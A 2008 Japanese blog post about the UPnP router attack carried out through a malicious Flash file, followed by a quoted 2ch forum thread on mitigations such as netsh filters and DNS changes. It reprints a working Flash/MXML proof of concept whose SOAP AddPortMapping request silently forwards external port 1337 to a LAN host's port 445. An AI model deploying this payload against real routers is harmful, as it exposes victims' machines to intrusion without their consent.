2008年4月3日木曜日

UPnPルーターは危険!?

・UPnPルータ+Flash=深刻なセキュリティ問題
 http://blog.ohgaki.net/upnp-flash
・Hacking The Interwebs
 http://www.gnucitizen.org/blog/hacking-the-interwebs
Flashを利用したUPnPルータの攻撃シナリオは以下になります。
・UPnPが有効なルータがある
・悪意のあるFlashをWebブラウザで参照する
・UPnPルータの設定を変更するSOAPリクエストをFlashが送信する
・UPnPルータで可能なルータ設定が変更される(乗っ取られる)
UPnPによるポートフォワード設定等には認証は必要ありません。Flashのセキュリティ脆弱性も必要ありません。ポートフォワード設定だけでも十分致命的ですが、DNSサーバ設定が変更されるとセキュリティ上致命的な問題です。

Flashを利用しなければ攻撃されないのか?
・・・ということは、その攻撃用Flashを使えばポートを開けられるんだな?

http://www.gnucitizen.org/projects/hacking-the-interwebs/Test.mxml
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="onAppInit()">
<mx:Script>
/* Petko D. Petkov; pdp
* GNUCITIZEN
**/
import flash.net.*;

private function onAppInit():void
{
var r:URLRequest = new URLRequest('http://192.168.1.254/upnp/control/igd/wanpppcInternet');

r.method = 'POST';
r.data = unescape('%3C%3Fxml%20version%3D%221.0%22%3F%3E%3CSOAP-ENV%3AEnvelope%20xmlns%3ASOAP-ENV%3D%22http%3A//schemas.xmlsoap.org/soap/envelope/%22%20SOAP-ENV%3AencodingStyle%3D%22http%3A//schemas.xmlsoap.org/soap/encoding/%22%3E%3CSOAP-ENV%3ABody%3E%3Cm%3AAddPortMapping%20xmlns%3Am%3D%22urn%3Aschemas-upnp-org%3Aservice%3AWANPPPConnection%3A1%22%3E%3CNewRemoteHost%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E%3C/NewRemoteHost%3E%3CNewExternalPort%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E1337%3C/NewExternalPort%3E%3CNewProtocol%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3ETCP%3C/NewProtocol%3E%3CNewInternalPort%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E445%3C/NewInternalPort%3E%3CNewInternalClient%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E192.168.1.64%3C/NewInternalClient%3E%3CNewEnabled%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22boolean%22%3E1%3C/NewEnabled%3E%3CNewPortMappingDescription%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3EEVILFORWARDRULE2%3C/NewPortMappingDescription%3E%3CNewLeaseDuration%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui4%22%3E0%3C/NewLeaseDuration%3E%3C/m%3AAddPortMapping%3E%3C/SOAP-ENV%3ABody%3E%3C/SOAP-ENV%3AEnvelope%3E');
r.contentType = 'application/xml';
r.requestHeaders.push(new URLRequestHeader('SOAPAction', '"urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping"'));

navigateToURL(r, '_self');
}
</mx:Script>
</mx:Application>


以下、2ch - NTT東西☆VoIPアダプタ☆Part2 【ブリッジ可゙】より引用

616 :不明なデバイスさん:2008/01/17(木) 22:56:47 ID:3GlhMn78
おい、これ激ヤバだぞ。
UPnP機能を持つSOHOルーターを介してインターネット接続しているクライアントに
攻撃Flashを食わせることでルーターのUPnP機能を操作でき、port forwardingなど
を行うことが出来る。

http://blog.ohgaki.net/index.php/yohgaki/2008/01/17/upnp-flash


617 :不明なデバイスさん:2008/01/18(金) 23:14:05 ID:Y8pzY85o
>>616
どーすればいいんだよVoIPアダプターつかえないじゃん


618 :不明なデバイスさん:2008/01/19(土) 00:59:29 ID:w/ktrE2S
>>617
諸悪の根源はUPnPが非認証でもポートを開放するって点だな。
緩和する要素はLAN内でもFWを有効にしておくこと。
これならポート開放されてもサブネットマスク外からのアクセスだから弾く。
問題は家電とかはまともな防御機能を持ってないからなぁ・・・

回避策はFWでルータやVoIPアダプタ宛てへのパケットを投げるのを禁止すればOKかな
XP標準でやりたいならRouting and Remote Accessを有効にして、TCP/IPの詳細設定の奥に有るTCP/IP フィルタリングを有効にする
その後コマンドプロンプトで↓のを打ち込むと192.168.1.1(ルータ)宛てに通信を開始する事が不可能になる。
netsh routing ip add filter name="ローカル エリア接続" filtertype=output srcaddr=0.0.0.0 srcmask=255.255.255.255 dstaddr=192.168.1.1 dstmask=255.255.255.255 proto=TCP srcport=0 dstport=0
元に戻すなら
netsh routing ip delete filter name="ローカル エリア接続" filtertype=output srcaddr=0.0.0.0 srcmask=255.255.255.255 dstaddr=192.168.1.1 dstmask=255.255.255.255 proto=TCP srcport=0 dstport=0
ただ、コレだと確実にDNSの通信に影響が出る(見れないサイトが出る)のでネトワクの知識がないならオススメできん。
DNSをルータの物から自分でISPの設定マニュアルの物にすれば実用上ほぼ問題ないと思うが。
DHCPはUDP67/68だし。

ただ、もしも ttp://192.168.1.1:49152/ で404 Not Foundが帰ってくるなら
netsh routing ip add filter name="ローカル エリア接続" filtertype=output srcaddr=0.0.0.0 srcmask=255.255.255.255 dstaddr=192.168.1.1 dstmask=255.255.255.255 proto=TCP srcport=0 dstport=49152
これだけでOKかもしれない。削除はaddをdeleteに置き換えてくれな。
ただ、ブロードキャストされるとどうなるか解らん(多分受け付けると思う)から対策は完璧ではない。
dstをANYにすれば防げるが稀に通信できなくなるアプリが出る可能性も有る。
それにUPnPを使う正規のアプリケーションも副作用喰らうしな。


619 :不明なデバイスさん:2008/01/19(土) 01:01:19 ID:w/ktrE2S
あ、ちなみに家電があると、↑のLAN内でもFWを有効にってのはダメです。
大抵LAN内マシンを信用してると思うので、外部>ルータ>家電>PCという経由でハクられる可能性があります。多分。


620 :617:2008/01/19(土) 07:58:42 ID:hBW9432F
uPnPを完全に無効にするために
ちょっと配線が伸びるけど
VoIPアダプタからWebCasterV110にするわ
レンタル料金一緒だし 購入してもV110なら安く買えそうだ


621 :不明なデバイスさん:2008/01/19(土) 11:20:13 ID:JBWpsjgb
>>616
何を今さら。
そんな事、UPnPが世に出た時から言われてたじゃん。
山田ウイルス(ワーム)にもUPnPを悪用する亜種が存在したし。


622 :不明なデバイスさん:2008/01/19(土) 12:36:18 ID:dEIyBW2/
>>621
Flashはワームだという主張ならばそのとおりだ。


623 :不明なデバイスさん:2008/01/23(水) 00:32:34 ID:ZWdKnYQ3
ルータのDNS設定を乗っ取られたら結構大きな脆弱ですよね。

ルータ側でVOIPアダプタのアドレスからのみUPnPを受けるようにしてくれないかな。
使ってるルータは BHR-4RV だから機能改善のファームのアップは期待できないだろうし。

ルータのLAN側パケットフィルタでも多分対応できんだろうし。

>>618
さんの言われる通り
> DNSをルータの物から自分でISPの設定マニュアルの物にすれば実用上ほぼ問題ないと思うが。
の対応しときます。

linux router upnp portforward - Google 検索

0 件のコメント :